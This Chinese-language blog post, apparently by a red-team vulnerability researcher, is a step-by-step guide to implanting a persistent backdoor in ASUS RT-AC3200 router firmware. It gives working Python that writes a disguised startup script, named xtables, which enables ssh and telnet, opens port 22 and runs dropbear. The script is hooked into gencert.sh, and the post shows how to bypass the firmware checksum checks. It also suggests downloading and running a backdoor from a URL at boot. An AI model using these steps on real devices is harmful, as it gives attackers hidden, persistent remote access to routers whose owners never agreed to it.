概述
在进行IoT漏洞利用的过程中,后利用阶段为了扩展利用效果和加强红队攻防对抗的能力,固件级别的后门(BackDoor)是非常重要的。
极光无限维阵专家团队基于对华硕路由器漏洞的研究,对华硕无线路由器固件进行了深入解析,我们得出以下结论:直接在固件中添加后门命令,路由器前台进行固件更新即可植入固件级别的后门。
本文对使用的工具和固件后门植入的过程进行了梳理,并分享了操作中遇到的问题及解决方案。
作者:维阵漏洞研究员–lawren
工具
firmware-mod-kit: https://gitlab.com/kalilinux/packages/firmware-mod-kitida: https://www.hex-rays.com/products/ida/python: https://www.python.org/
安装firmware-mod-kit
firmware-mod-kit工具包可用于提取固件中的文件系统,然后进行修改,并重新打包成固件。我们可以使用它对固件做定制化的修改。
$ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic$ git clone https://gitlab.com/kalilinux/packages/firmware-mod-kit.git$ cd firmware-mod-kit
使用firmware-mod-kit
以华硕RT-AC3200_3.0.0.4_382_51940-ga3b9d4a.trx这款固件为例,步骤如下:
1、解包固件,采用extract-firmware.sh来提取固件中的文件系统:
$ ./extract-firmware.sh RT-AC3200_3.0.0.4_382_51940-ga3b9d4a.trx
解包后的文件系统会存放在当前目录的fmk文件夹中,其中包括rootfs,image_part和logs等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心rootfs文件夹。
rootfs文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。
2、重新打包固件:
$ ./build-firmware.sh fmk/
重新打包好的固件会存放在fmk/目录中,文件名为new-firmware.bin。
为华硕路由器固件添加后门
1、首先查看固件所基于的架构。对固件中任意文件执行 readelf命令就可以查看其架构,以BusyBox文件为例:
$ readelf -h fmk/rootfs/bin/busybox
ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: ARM Version: 0x1 Entry point address: 0xc4c4 Start of program headers: 52 (bytes into file) Start of section headers: 571724 (bytes into file) Flags: 0x5000002, Version5 EABI, <unknown> Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 6 Size of section headers: 40 (bytes) Number of section headers: 25 Section header string table index: 24
正如我们看到的,固件是基于ARM小端架构的。这意味着我们之后需要开发符合ARM小端架构的后门并进行编译。
2、下一步是在文件系统中寻找如何在启动过程中执行命令的方式,我们提供了三种思路。
**思路一:**寻找在启动过程中自动调用的脚本,在其中添加我们要执行的命令。
在文件系统中找到一个每次重启路由器时都会执行的shell脚本,我们以一个符合条件的脚本/usr/sbin/gencert.sh为例,在该脚本中添加指令,让路由器重启时,从我们指定的url下载arm后门到tmp目录并执行。
**思路二:**在脚本/usr/sbin/gencert.sh中打开华硕路由器的ssh,这样在路由器重启后就可以直接通过ssh连接路由器。
**思路三:**在文件系统中放入我们编译好的后门程序,在/usr/sbin/gencert.sh中执行后门程序,这样在路由器重启时就会启动后门。
我们采用第二个思路,用到的代码如下:
import os os.system("touch fmk/rootfs/usr/sbin/xtables") os.system("echo 'sleep 120' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'nvram set sshd_enable=1' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'nvram set sshd_port_x=22' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'nvram set sshd_port=22' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'nvram set telnetd_enable=1' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'nvram set sshd_pass=1' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'service start_telnetd' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'service start_sshd' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'sleep 10' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'iptables -I INPUT -p tcp --dport 22 -j ACCEPT' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'sleep 30' >> fmk/rootfs/usr/sbin/xtables") os.system("echo 'dropbear -a -p 22' >> fmk/rootfs/usr/sbin/xtables") os.system("chmod 4777 fmk/rootfs/usr/sbin/xtables") os.system("echo '/usr/sbin/xtables &' >> fmk/rootfs/usr/sbin/gencert.sh")
上面的代码会新建一个文件fmk/rootfs/usr/sbin/xtables,这就是我们的后门程序,其作用是开启ssh。具体内容如下:
sleep 120 nvram set sshd_enable=1 nvram set sshd_port_x=22 nvram set sshd_port=22 nvram set telnetd_enable=1 nvram set sshd_pass=1 service start_telnetd service start_sshd sleep 10 iptables -I INPUT -p tcp --dport 22 -j ACCEPT sleep 30 dropbear -a -p 22
最后在fmk/rootfs/usr/sbin/gencert.sh中,
添加执行fmk/rootfs/usr/sbin/xtables的命令,路由器启动时就会执行gencert.sh,继而执行xtables,最终开启ssh。
3、此时就完成了后门的添加,执行build-firmware.sh重打包固件就完成了。
4、更新固件后通过ssh连接路由器。
ssh admin@xxx.xxx.xxx.xxx
更新固件
方式一:Web页面点击上传更新固件
方式二:编写脚本自动完成上传并更新固件
测试分析
固件篡改的功能强大,对于攻击者而言是梦寐以求的目标。这是因为,如果能够实现对固件的篡改,那么攻击者就能够实现绕过保护机制、移除安全防护措施、添加后门等操作。
遇到的问题
问题一:由于重打包后的固件大小和原固件大小不一致,导致打包失败
** **
我们采取的解决方法是将文件系统里的图片文件缩小,从而缩小重打包后的固件大小,压缩图片大小的代码如下:
import os def search(root, target): items = os.listdir(root) for item in items: path = os.path.join(root, item) if os.path.isdir(path): #print('[-]', path) search(path, target) if target in path.split('/')[-1]: os.system("convert " + path + " " + path + ".gif") os.system("convert -strip -quality 75% " + path + ".gif " + path + ".gif") os.system("rm " + path) os.system("mv " + path + ".gif " + path)
search("fmk/rootfs/www/images/", ".png")
问题二:重打包后的固件不能通过华硕路由器的校验
我们通过逆向华硕校验代码,编写脚本对打包后的固件进行校验值计算并写入固件中,从而顺利通过华硕路由器的校验。
通过逆向,可以确定是libshared.so动态链接库中的check_imagefile函数对固件进行校验的,如下图:
上图中check_crc函数可以通过校验,firmware-mod-kit已经帮我们计算好了crc,但firmware-mod-kit并没有完成check_trx函数校验。
通过分析,check_trx函数会校验固件尾部的一个字节值,我们编写脚本并修改firmware-mod-kit重打包生成的固件中对应字节,从而通过check_trx函数校验。相关代码如下:
import os with open('fmk/new-firmware.bin', 'rb') as f: image_data = f.read() with open('fmk/new-firmware1.bin', 'wb+') as f: write_data = image_data[0:-28] + 'x4c' + image_data[-27:] f.write(write_data) os.system("src/crcalc/crcalc fmk/new-firmware1.bin fmk/logs/binwalk.log")